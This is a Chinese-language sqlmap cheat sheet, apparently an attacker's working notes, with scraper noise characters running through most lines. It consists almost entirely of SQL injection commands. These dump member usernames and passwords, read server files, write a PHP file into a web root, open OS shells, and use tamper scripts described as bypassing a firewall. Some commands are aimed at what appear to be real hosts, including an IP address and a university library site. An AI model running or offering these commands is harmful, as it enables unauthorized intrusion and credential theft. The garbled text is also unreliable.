/pentest/database/sqlmap6 l$ {. ~/ s( s D1 W' c9 F
5 G9 o: `( S) ]2 j
update :::::> in the folder after execute following order : svn update8 W0 U: K' h- N& v; a' E& W
8 `4 Z- m1 C& h( X) b7 ]0 ^& s' X4 Psqlmap.py -r 1.txt --current-db3 m) }) k) f# M" C
. p5 M5 W% S6 G l3 o4 tv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”* F* |" n% X/ Z9 ?( a/ ]
2 M8 F' {/ S6 A c==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 1 v6 n$ O' D9 q. e, o. p
猜解数据库+ ]/ B3 Z* @* C" H# X
./sqlmap.py -u "injection-url" --dbs
" u8 c# i5 Z' Q$ E1 U% g; Psqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"9 W! J2 D( R( r. ?
1 H: D* t5 o$ J y8 f; Q
猜解表名
$ w3 D/ A$ x9 t1 E./sqlmap.py -u "injection-url" -D database_name --tables
; C7 h( W m2 n1 j* {2 ^8 h$ \5 S% c, ^
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
1 Z7 y& W, v1 f, Dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" 0 }2 l& l* f$ |/ U, f9 a5 Y
) U: d# y# V. R$ b) g" Bsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump! D, V: H7 l! Q8 n. Y& Q+ `
5 K" S8 |4 {6 I; a
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
9 A1 d7 N: q J+ ?4 d/ T! Xsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
! ^! v' Z+ P A3 [- G; B% |sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" ! i0 H& p: t0 O1 K9 g" |
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py". @% z$ G! z4 [( J' T! z; ?* g
& K: R& f1 q" k8 w4 Z6 g
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"( d2 t/ i& Z0 h6 W" V( w d' z
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"" v! k0 S2 H( {/ v' J) y* {
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"9 }" q ^* R. L8 E# ]" D* K* c7 N
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"' y) d* i' T( F1 d8 B0 N) J. C
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
) R% R% v, u- O$ {, \. _. F u0 c# {( s) k" n
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了! J4 o' @; d" E- i$ C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
8 _% e7 v2 `; a% u' w7 T) n" J2 F
) K* ]# [. I$ ]sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst" [+ b3 s# z8 m/ ~. q @3 k3 L" P6 b
猜解列名
/ W: S1 x% d, e* Q- g. U& r./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
, e" [0 H% T( B/ K6 _$ F& R b# M4 L. @( T, z) N
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" ) a9 k# e# q: ?# d
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 9 b' p( R1 g) ?' M6 ?+ X' R
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
, Z+ H6 L4 i& E0 A) s7 R! ~( \- G: u" P2 ^: I* D1 S% J
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
# M+ N" J3 ^0 U& O&submit=Go" l z8 a4 x$ a# _
猜解值
1 o }2 x c% u2 K2 P: O" P( C./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump& ~5 r! ~4 g4 a9 ], X% a5 G
========================================================0 k, c% H" R L2 n1 |8 o. G$ ]* D
搜索表名中包括mana字符的. [2 i x; }& ]) G3 ^2 m: M- V
/sqlmap.py -u "injection-url" -T mana --search$ g$ S! x' Q8 T( p
返回一个交互式sql shell
; [- I# R; R. W/sqlmap.py -u "injection-url" --sql-shell. o, U+ ? e" S( c, P
读取指定文件(需权限)2 b4 \% g; g/ @# U" k
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
% F" U n, W3 `) _+ z查看当前 用户 及 数据库 7 I; i! j" s. m/ B' T! i1 h# _# V
/sqlmap.py -u "injection-url" --current-user --current-db. Y; q# l+ Q/ y$ O- L
本地文件 写入 远程目标绝对路径# ~# p8 ]8 ?. s8 K1 J1 J' E9 o
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
% W+ @7 S- S# Ysqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
& R$ z3 ]/ j" ], y# y2 U
4 }2 D% d' _5 F; gsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
6 P4 W/ e7 w* S& P9 R' y# r+ S查看某用的权限 F; D' B: h, w% | d1 i( |
/sqlmap.py -u "injection-url" --privileges -U root* S* t- f( w" ]) w. w
查看当前用户是否为dba4 d6 B/ x; v% K2 Y! N8 t
/sqlmap.py -u "injection-url" --is-dba
3 W; `% }7 v! W2 X3 O读取所有数据库用户或指定数据库用户的密码3 p: N* w) ]' T+ S" m
sqlmap.py -r 1.txt --users --passwords$ x) k; t, @& D
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" $ D& b C" O$ d& X: w
& L7 t& Z3 v% T A* j7 U3 R9 `' |/sqlmap.py -u "injection-url" --passwords -U root% O" Q8 |2 |3 v; |
' i2 H3 u( E, d) A0 j" L
--start&&--stop 与 --first&&--last 的区别" F7 J6 P0 J" i5 G
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……): m! i6 \# P7 L* L$ p* a( T) o
* @( ]( O9 h( E- I: _" U* B* _: P5 M
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)/ t2 {2 v/ P; A k
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables. M, F0 `* k9 |) P- U4 T
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns1 X( ]5 r4 ~' q4 `2 ^1 b
' D* \" S8 u2 K9 [执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
' \# A( I0 g' d5 o/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"2 ]$ K$ r, [3 T- L& l: o d3 p# T' O
$ z4 m2 F0 c% J! F. O
|